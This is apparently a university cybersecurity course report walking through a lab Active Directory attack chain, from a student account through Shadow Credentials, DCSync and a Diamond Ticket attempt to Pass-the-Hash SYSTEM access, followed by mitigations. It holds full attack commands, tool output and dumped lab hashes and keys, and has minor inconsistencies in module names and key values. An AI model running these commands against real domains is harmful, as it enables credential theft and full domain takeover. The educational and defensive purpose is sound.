

University of Piraeus
Department of Digital Systems
MSc 'Cybersecurity and Artificial Intelligence Technologies'
Cyber Defence and Digital Forensics
Spring Semester 2025-2026
Assignment 2



Ioannis Kalaitzidis

Introduction

The purpose of this assignment is the practical simulation and documentation of a complete attack chain in an Active Directory environment, starting from a low-privilege user account (student) and culminating in the acquisition of SYSTEM-level access on the Domain Controller.

- **Reconnaissance:** Using the initial credentials of the student user, the network nodes are mapped and the IT-Share shared resource is accessed, from which a PowerShell script containing hardcoded credentials for the service account svc-deploy is retrieved.
- **Shadow Credentials Attack:** Discovering that the svc-deploy account has sufficient write permissions (WriteProperty) on the msDS-KeyCredentialLink attribute of the backupsvc account, the certipy-ad tool is used to retrieve the NT hash of backupsvc.
- **DCSync Attack:** Confirming that the compromised backupsvc account has Replication permissions (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All) over the domain, an impacket-secretsdump DCSync attack is executed, retrieving the cryptographic keys of all accounts — including krbtgt.
- **Diamond Ticket Forgery:** Leveraging the cryptographic key of the krbtgt account, a forged Diamond Ticket is attempted using the forge_ticket module of Metasploit Framework.
- **SYSTEM Access:** In the final stage, the cryptographic material extracted via the DCSync attack is used to authenticate as Administrator via Pass-the-Hash, gaining a SYSTEM shell on the Domain Controller.

The following sections analyse in detail the practical implementation steps along with the explanation of each command and parameter, as well as the theoretical background of the techniques used.

Theoretical Background

Active Directory

Active Directory (AD) is Microsoft's directory service that provides centralised identity management, authentication and authorisation in corporate networks. Its core component is the Domain Controller (DC).

Kerberos Authentication

Kerberos is the default authentication protocol of Active Directory. Its central element is the Key Distribution Center (KDC), which runs on the Domain Controller and issues encrypted tickets.

Access Control Lists (ACLs)

Authorisation in Active Directory is based on Access Control Lists (ACLs), consisting of individual Access Control Entries (ACEs). Each ACE grants or denies a specific permission (e.g. Read, Write, GenericAll) to a trustee (user or group) over an AD object.

Σχέση Golden, Diamond και Sapphire Ticket

All three ticket forgery techniques are based on possession of the krbtgt key. The difference lies in the forgery method: Golden Ticket creates a fully synthetic TGT; Diamond Ticket takes a legitimate TGT and modifies it; Sapphire Ticket extracts a real TGT from a DC without modification.

Practical part of the assignment

Attacking AD

In this exercise you will attack a DC from KALI Linux (I have used 2026.1 version). The goal is to achieve SYSTEM privileges with shell access in the DC. You are given the credentials student/student which is a domain user in the AD.

The path to follow is:

- 1) enumerate student account to determine that student can access X account credentials
- 2) enumerate as X account to determine that X can perform SHADOW CREDENTIALS attack to an account Y
- 3) perform SHADOW CREDENTIALS attack to obtain Y account credentials
- 4) Enumerate as Y account to determine that Y can perform DCSYNC
- 5) Perform DSYNC attack as Y account to obtain krbtgt account credentials

6) Using Metasploit to forge a DIAMOND ticket.

7) Use the forged Diamond ticket to obtain SYSTEM privileges in DC (Metasploit psexec did not work)

Kali Linux toolset to be used: smblicent, nxc, certipy-ad, auxiliary/admin/kerberos/forged_ticket, impacket-psexec

Also write in your report, a description of the attacks SHADOW CREDENTIALS and DIAMOND ticket (e.g., prerequisites, impact, etc).

During the initial startup of the virtual machines, a network communication failure between the attacking machine (Kali Linux) and the Domain Controller was found.

To restore connectivity, the VMnet interface was configured in Host-only mode with subnet 192.168.110.0/24.

Βήμα 1

With the given credentials of the student user (student:student), initial reconnaissance of the Active Directory environment was performed using the NetExec (nxc) tool.

- **Nxc: Executes remote reconnaissance and credential verification on the target via the selected protocol (NetExec tool).**
- **Smb: Specifies the communication protocol (Server Message Block, port 445/TCP) over which the test runs.**
- **192.168.110.133: Defines the target of the command — the Domain Controller.**
- **-u 'student': Defines the username for the authentication attempt.**
- **-p 'student': Provides the user's password in cleartext.**

Authentication was successful (indication [+]) and the domain name was identified as MARVEL.local.

Next, the shared resources (shares) of the Domain Controller were enumerated, along with the user's permission level on each.

- **-shares: Instructs the tool to enumerate all available shared folders of the server, reporting reading and writing permissions.**

Beyond the default system shares (SYSVOL, NETLOGON, IPC\$, ADMIN\$, C\$), the user had read permission on IT-Share — a non-standard share that deserves investigation.

Using the smbclient tool, an interactive connection was established to the IT-Share resource for navigation and file extraction.

- **Smbclient: Opens an interactive SMB connection to the shared resource and allows navigation and file transfer.**
- **//192.168.110.133/IT-Share: Specifies the shared resource (UNC path) to which the connection is made.**
- **-U 'student%student': Provides the credentials in username%password format, avoiding an interactive prompt.**

Within the interactive shell (prompt smb: \>), the ls command was executed to view the contents, a file named backup-service.ps1 was found, and it was downloaded using the get command.

Returning to the local terminal, the script's content was read by executing: cat backup-service.ps1

- **Cat: Displays the text file's content in the terminal (standard output).**

Static analysis of the script revealed hardcoded credentials for a service account: the svc-deploy account with password 'Labpass!'.

Finally, the validity of the extracted credentials was confirmed by testing authentication on the Domain Controller.

Βήμα 2

The objective of the second stage was to leverage the svc-deploy account (Account X) to identify the target account (backupsvc — Account Y) and verify its attack viability.

- **-u 'svc-deploy' -p 'Labpass!': Provide the credentials of Account X obtained in the previous step, for authenticated access.**
- **-users: Enumerates all domain user accounts, along with metadata such as creation and last password change dates.**

Among the results, the accounts victim, student and backupsvc were identified — the last two having old password change dates, suggesting possible stale/service accounts.

Subsequently, the Access Control Lists (ACL) of the objects were analysed via the built-in `dacldread` module of `NetExec`.

- **Ldap:** Specifies the LDAP protocol (port 389/TCP), through which queries are submitted to the Active Directory directory.
- **-M dacldread:** Loads the `dacldread` module, which reads the Access Control Lists (DACL) of an AD object.
- **-o TARGET=<account> ACTION=read:** Specifies the module options: the target object whose permissions are read.

The analysis revealed ACE entries with `WriteProperty` permission on the `ms-DS-KeyCredentialLink` attribute — precisely the condition required for a Shadow Credentials attack.

It is noted that the trustee of this specific ACE is the Key Admins group. The `svc-deploy` account inherits the permission as a member of this group.

Βήμα 3

The Shadow Credentials attack exploits the Kerberos certificate authentication mechanism (PKINIT). In Active Directory, each account can optionally have an associated certificate in the `msDS-KeyCredentialLink` attribute.

Prerequisites

Write permission (`GenericAll`, `GenericWrite` or `WriteProperty`) on the `msDS-KeyCredentialLink` attribute of the target account.

Impact

The technique enables interception of the NT hash and full impersonation of the target account without changing the password — a fact that makes it more stealthy than a forced password change.

Countermeasures

Application of the principle of least privilege to Access Control Lists, regular audit of Key Admins group membership, and monitoring of changes to the `msDS-KeyCredentialLink` attribute.

Implementation

The attack was executed using the certipy-ad tool, via the automated shadow auto function, targeting the backupsvc account.

- **certipy-ad:** Executes attacks against Active Directory certificate services and PKINIT mechanisms.
- **shadow auto:** Automatically executes the complete Shadow Credentials attack flow: adding a Key Credential to the target account's attribute, authenticating via PKINIT, and extracting the NT hash.
- **-u 'svc-deploy@MARVEL.local':** Defines the attacker account identity in UPN (User Principal Name) format.
- **-p 'Labpass!':** Provides the attacker account's password.
- **-account 'backupsvc':** Defines the target account (Account Y) on whose msDS-KeyCredentialLink attribute the forged certificate is written.
- **-dc-ip 192.168.110.133:** Defines the Domain Controller to which the Kerberos requests are directed.

The attack completed successfully and yielded the NT hash of the backupsvc account: ed6a3347c54ad7ab28851e9dd0d7bcf3. This completes Step 3.

```
(kali@kali)-[~]
$ certipy shadow auto -u 'svc-deploy@MARVEL.local' -p 'Labpass!' -account 'backupsvc' -dc-ip 192.168.110.133

Certipy v5.1.0 - by Oliver Lyak (ly4k)

[*] Targeting user 'backupsvc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '233bdbf8968342cf86fd24b907b16d63'
[*] Adding Key Credential with device ID '233bdbf8968342cf86fd24b907b16d63' to the Key Credentials for 'backupsvc'
[*] Successfully added Key Credential with device ID '233bdbf8968342cf86fd24b907b16d63' to the Key Credentials for 'backupsvc'
[*] Authenticating as 'backupsvc' with the certificate
[*] Certificate identities:
[*]   No identities found in this certificate
[*] Using principal: 'backupsvc@marvel.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'backupsvc.ccache'
[*] Wrote credential cache to 'backupsvc.ccache'
[*] Trying to retrieve NT hash for 'backupsvc'
[*] Restoring the old Key Credentials for 'backupsvc'
[*] Successfully restored the old Key Credentials for 'backupsvc'
[*] NT hash for 'backupsvc': ed6a3347c54ad7ab28851e9dd0d7bcf3

(kali@kali)-[~]
$
```

Βήμα 4

With the NT hash of backupsvc, reconnaissance was performed via the Pass-the-Hash (PtH) technique. This technique uses the NT hash directly instead of the plaintext password for authentication.

- The reconnaissance confirmed that the account has read access to numerous shares, including IT-Share and ADMIN\$.

```
(kali@kali)~$ nxc smb 192.168.110.133 -u 'backupsvc' -H 'ed6a3347c54ad7ab28851e9dd0d7bcf3' --shares
```

```
SMB      192.168.110.133 445    DC
(Null Auth:True)
```

```
[*] Windows Server 2016 Standard 14393 x64 (name:DC) (domain:MARVEL.local) (signing:True) (SMBv1:True)
[*] MARVEL.local\backupsvc:ed6a3347c54ad7ab28851e9dd0d7bcf3
Enumerated shares
```

Share	Permissions	Remark
ADMIN\$		Remote Admin
C\$		Default share
IPC\$		Remote IPC
IT-Share	READ	
NETLOGON	READ	Logon server share
sharedfiles		
SYSVOL	READ	Logon server share

```
(kali@kali)~$
```

The DCSync attack exploits the directory replication protocol (MS-DRSR/DRSUAPI) used by Domain Controllers to synchronise Active Directory. An account with Replication permissions can simulate a DC and request a copy of the NTDS.dit database.

- **Krbtgt-NT hash:** a0ac4894af0ca586990d3f2329f64c64
- **krbtgt AES256 key:**
b9e6ec6c36526c6c15fbb71e3ae9d4338d93f957f584516ed303991694582d23

- **victim – NT hash:** 6a902abd0fe5ca0e8c2b9496af9129c4
- **Administrator-NT hash:** 3f83cb43ca94c24d0505150063ecf6bd

```
(kali@kali)-[~]
$ impacket-secretsdump -hashes ':ed6a3347c54ad7ab28851e9dd0d7bcf3' 'MARVEL.local/backupsvc@192.168.110.133'

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:3f83cb43ca94c24d0505150063ecf6bd:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:a0ac4894af0ca586990d3f2329f64c64:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MARVEL.local\victim:1606:aad3b435b51404eeaad3b435b51404ee:6a902abd0fe5ca0e8c2b9496af9129c4:::
MARVEL.local\student:2102:aad3b435b51404eeaad3b435b51404ee:eab4556003a83e179a149ce6583e097f:::
MARVEL.local\svc-deploy:2103:aad3b435b51404eeaad3b435b51404ee:771c0b22a90a096f8429e1f44526a7eb:::
marvel.local\backupsvc:2104:aad3b435b51404eeaad3b435b51404ee:ed6a3347c54ad7ab28851e9dd0d7bcf3:::
DC$:1001:aad3b435b51404eeaad3b435b51404ee:b6c2a8d93a58d76ff77222d3cd37b69f:::
WS01$:1104:aad3b435b51404eeaad3b435b51404ee:2849f0f37973916c5709c692c8fa3731:::
WS02$:1105:aad3b435b51404eeaad3b435b51404ee:a3213db23f66ed977009a3286ca055f1:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:9576b8274e5ea1273ba6abc4ba4ac60ce81e202ca31bba5f1b709538298f1514
Administrator:aes128-cts-hmac-sha1-96:4e1f3d90d3ddfbdd631b0dd906bc73a5
Administrator:des-cbc-md5:f2da8adf02e604cb
krbtgt:aes256-cts-hmac-sha1-96:b9e6ec6c36526c6c15fbb71e3ae9d4338d93f957f584516ed303991694583d23
krbtgt:aes128-cts-hmac-sha1-96:8e2d20ff79b4257c7d10fdeaf513d87c
krbtgt:des-cbc-md5:eac2b07a8cb594a4
MARVEL.local\victim:aes256-cts-hmac-sha1-96:8946b20a02b1de7b83a70564ffb2e791981e1342fe8e05c80d55ce8cb5828920
MARVEL.local\student:aes128-cts-hmac-sha1-96:fe5ee3dfa5ccca6c0625461e0569c935
MARVEL.local\student:des-cbc-md5:38519e7fd95eda61
MARVEL.local\student:aes256-cts-hmac-sha1-96:cf0e7de40977f3408420ac0f85229eca001cf263714bbdd86642657b75625500
MARVEL.local\student:aes128-cts-hmac-sha1-96:6d721468efe9e812b295ae25e78780
MARVEL.local\student:des-cbc-md5:409bc410f2680d9e
MARVEL.local\svc-deploy:aes256-cts-hmac-sha1-96:5dd842dd72e7a3df78d1faab7fb151a3a373a285788f97d892368e8f54299b
MARVEL.local\svc-deploy:aes128-cts-hmac-sha1-96:c47c03df56a1a8ced12fdd1e2d17f595
MARVEL.local\svc-deploy:des-cbc-md5:dc7c5da40743c449
marvel.local\backupsvc:aes256-cts-hmac-sha1-96:0d9ed7d79e95f1e852e850d16f1e6aa390973fc5cf6a489f4638a3631e2ea7ab
marvel.local\backupsvc:aes128-cts-hmac-sha1-96:fa4e1df83c34235471dd8de850d47486
marvel.local\backupsvc:des-cbc-md5:1c34195da86b38e0
DC$:aes256-cts-hmac-sha1-96:c60f6ba4181b4b7bc7d8ab4738adc80920bb3461d7a036f1731225c91ed0124f
DC$:aes128-cts-hmac-sha1-96:c94af9c06cd78e7a537306e4c64c229d
DC$:des-cbc-md5:fel1faee3bf7a7379
WS01$:aes256-cts-hmac-sha1-96:db6c00015c9392a2a4541231d70f338be9efde45c504202412d9002df9bbacbb
```

With the extraction of the krbtgt account's material, Step 5 is complete.

Βήμα 6

The Diamond Ticket is an evolution of the Golden Ticket and relies on possession of the cryptographic key of the krbtgt account.

Prerequisites

Knowledge of the krbtgt key (NT hash or, for modern encryption, AES256 key), valid credentials of an existing domain account.

Difference from the Golden Ticket

The Golden Ticket is fully synthetic and often exhibits anomalies in PAC fields or lifetime values, making it detectable by modern EDR solutions. The Diamond Ticket modifies a legitimate TGT, preserving the authentic Kerberos structure and being far more difficult to detect.

Impact and countermeasures

The technique provides the ability to impersonate any domain account, including administrators, and constitutes persistent access since it does not require the user's password.

Implementation

For the forgery, the `auxiliary/admin/kerberos/forgo_ticket` module of the Metasploit Framework was used.

- **search forgo_ticket:** Searches Metasploit for available modules related to Kerberos ticket forgery.
- `use auxiliary/admin/kerberos/forgo_ticket:` Loads the selected auxiliary module, implementing the creation of Golden, Diamond and Sapphire Tickets.

Next, the attack parameters were defined:

```
set ACTION FORGE_DIAMOND
set DOMAIN MARVEL.LOCAL
set USER victim
set USER_RID 1606
set AES_KEY b9e6ec6c36526c6c15fbb71e3ae9d4338d93f957f584516ed303991694582d23
set REQUEST_USER backupsvc
set RHOSTS 192.168.110.133
```

Parameter analysis:

- **ACTION FORGE_DIAMOND:** Specifies the type of ticket to be created — in this case, Diamond Ticket.
- **DOMAIN MARVEL.LOCAL:** Defines the domain for which the ticket is issued.
- **USER victim:** Defines the account that the forged ticket will impersonate.
- **USER_RID 1606:** Defines the Relative Identifier (RID) of the victim account, as obtained from the previous step's dump.
- **AES_KEY b9e6ec6c...582d23:** Provides the AES256 key of `krbtgt`, with which the ticket is re-encrypted to be accepted by the Domain Controller.

- **REQUEST_USER backupsvc:** Defines the existing account used to request the legitimate base TGT, which will then be modified.
- **RHOSTS 192.168.110.133:** Defines the Domain Controller to which the request is submitted.

```
msf exploit(windows/dcerpc/cve_2021_1675_printnightmare) > use auxiliary/admin/kerberos/forged_ticket
[*] Setting default action FORGE_SILVER - view all 4 actions with the show actions command
msf auxiliary(admin/kerberos/forged_ticket) > show options

Module options (auxiliary/admin/kerberos/forged_ticket):
```

Name	Current Setting	Required	Description
AES_KEY		no	The krbtgt/service AES key
DOMAIN		yes	The Domain (upper case) Ex: DEMO.LOCAL
EXTRA_SIDS		no	Extra sids separated by commas, Ex: S-1-5-21-1755879683-3641577184-3486455962-519
NTHASH		no	The krbtgt/service nthash
USER		yes	The Domain User to forge the ticket for

```

When ACTION is FORGE_SILVER:

Name      Current Setting  Required  Description
-----
SPN                no        The Service Principal Name (Only used for silver ticket)

When ACTION is one of FORGE_DIAMOND, FORGE_SAPPHIRE:

Name      Current Setting  Required  Description
-----
REQUEST_PASSWORD      no        The user's password, used to retrieve a base ticket
REQUEST_USER           no        The user to request a ticket for, to base the forged ticket on
RHOSTS                no        The address of the KDC
RPORT                no        The KDC server's port
Timeout              10        The TCP timeout to establish Kerberos connection and read data

When ACTION is one of FORGE_SILVER, FORGE_GOLDEN, FORGE_DIAMOND:

Name      Current Setting  Required  Description
-----
USER_RID   500              yes        The Domain User's relative identifier (RID)

When ACTION is one of FORGE_SILVER, FORGE_GOLDEN:

Name      Current Setting  Required  Description
-----

```

During the base TGT request, this specific module returned a pre-authentication error (KDC_ERR_PREAUTH_FAILED), because the backupsvc account requires pre-authentication — a standard requirement that the module does not support.

Correct completion of the Diamond Ticket technique (methodological analysis)

The KDC_ERR_PREAUTH_FAILED error returned by Metasploit's forged_ticket module occurs in the base TGT request phase — not in the ticket modification itself.

The recommended way to complete the step, independently of Metasploit, is the impacket-ticketer tool with the -request flag.

1. **Request a legitimate base TGT for an existing domain account (e.g. svc-deploy), whose cleartext credentials are already known.**
2. **Decrypt the TGT with the AES256 key of krbtgt (b9e6ec6c36526c6c15fbb71e3ae9d4338d93f957f584516ed303991694582d23).**
3. **Modify the PAC to assign the identity and group memberships of a privileged account — in this case Administrator.**

4. **Re-encrypt the modified ticket with the same krbtgt key, so that it is accepted by the Domain Controller.**

The corresponding command takes the form:

```
impacket-ticketer -request \  
-user svc-deploy -password 'Labpass!' \  
-domain MARVEL.local \  
-domain-sid S-1-5-21-1715203879-2720366066-1195210097 \  
-aesKey b9e6ec6c36526c6c15fbb71e3ae9d4338d93f957f584516ed303991694582d23 \  
-user-id 500 -groups 512,513,518,519,520 \  
Administrator
```

The generated ticket (Administrator.ccache) would be set as active via the KRB5CCNAME environment variable and used by psexec.py for authentication.

In the present implementation, due to the tooling limitation of Metasploit, the final objective (SYSTEM shell) was achieved alternatively using Pass-the-Hash with the Administrator's NT hash obtained via DCSync.

Βήμα 7

For obtaining an interactive shell with system-level permissions, the impacket-psexec tool was used with the Pass-the-Hash technique.

- **impacket-psexec: Achieves remote code execution via SMB, temporarily creating a service on the target (analogous to PsExec from Sysinternals).**
- **-hashes ':6a902abd0fe5ca0e8c2b9496af9129c4': Provides the NT hash of the victim account for Pass-the-Hash authentication.**
- **'MARVEL.local/victim@192.168.110.133': Defines the target and the connection account (format domain/username@target).**

The attempt failed with the message 'share is not writable', as the victim account does not belong to the local administrators group.

Subsequently, the NT hash of the Administrator account — extracted via the DCSync attack — was used.

- **-hashes** ':3f83cb43ca94c24d0505150063ecf6bd': Provides the NT hash of the Administrator account, which has full domain administrator privileges.
- **'MARVEL.local/Administrator@192.168.110.133'**: Defines the target with the privileged Administrator account.

The execution completed successfully. The tool found the ADMIN\$ share writable, uploaded the service executable, and opened an interactive SYSTEM shell.

```
(kali㉿kali)-[~]
$ impacket-psexec -hashes ':3f83cb43ca94c24d0505150063ecf6bd' 'MARVEL.local/Administrator@192.168.110.133'

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 192.168.110.133.....
[*] Found writable share ADMIN$
[*] Uploading file YLcggGHJ.exe
[*] Opening SVCManager on 192.168.110.133.....
[*] Creating service qyzk on 192.168.110.133.....
[*] Starting service qyzk.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

Executing the whoami command inside the shell confirmed the acquisition of the highest system privileges (nt authority\system).

Protective Measures (Mitigations)

The attack chain presented was not based on a software vulnerability, but on the accumulation of misconfigurations and excessive privilege assignments.

Exposed credentials in shares/scripts (Step 1)

Avoid storing passwords in plaintext files (hardcoded credentials). Use Group Managed Service Accounts (gMSA) or a secrets manager (e.g. HashiCorp Vault). Apply the principle of least privilege to shared resources.

Shadow Credentials (Steps 2-3)

Regular audit of ACLs on the msDS-KeyCredentialLink attribute and monitoring of its modifications. Application of the principle of least privilege to the Key Admins group membership.

DCSync (Steps 4-5)

Strict restriction of Replication permissions (DS-Replication-Get-Changes and DS-Replication-Get-Changes-All) exclusively to the Domain Controller machine accounts (which inherently need them).

Diamond/Golden Ticket (Steps 6-7)

Periodic rotation of the krbtgt account password — and specifically twice consecutively, as a single change leaves the previous key valid.

Conclusion

Within this assignment, a complete attack chain in an Active Directory environment was implemented and documented, starting from a low-privilege account and reaching SYSTEM-level access on the Domain Controller.

- **Reconnaissance (steps 1-2):** Starting from the student user, the credentials of svc-deploy were identified via an exposed PowerShell script, and the target account backupsvc (Account Y) with exploitable ACL permissions was identified.
- **Shadow Credentials (step 3):** Using certipy-ad, the NT hash of backupsvc was retrieved, bypassing authentication without changing the password.
- **DCSync (steps 4-5):** The backupsvc account was proven to have directory Replication permissions, and via impacket-secretsdump the complete cryptographic material of the domain was extracted — including the krbtgt AES256 key.
- **Diamond Ticket (step 6):** The Diamond Ticket forgery was attempted using Metasploit's `forge_ticket` module, leveraging the krbtgt AES256 key. Due to a module limitation, the methodological analysis was completed theoretically.
- **SYSTEM acquisition (step 7):** Since the victim account lacks local administrator rights, the final objective was achieved via Pass-the-Hash with the Administrator's NT hash.

Overall, the exercise clearly demonstrated how the accumulation of individual misconfigurations — exposed credentials, excessive ACL permissions, DCSync rights — can lead, through a carefully selected sequence of technically sound attacks, to the total compromise of an Active Directory domain.

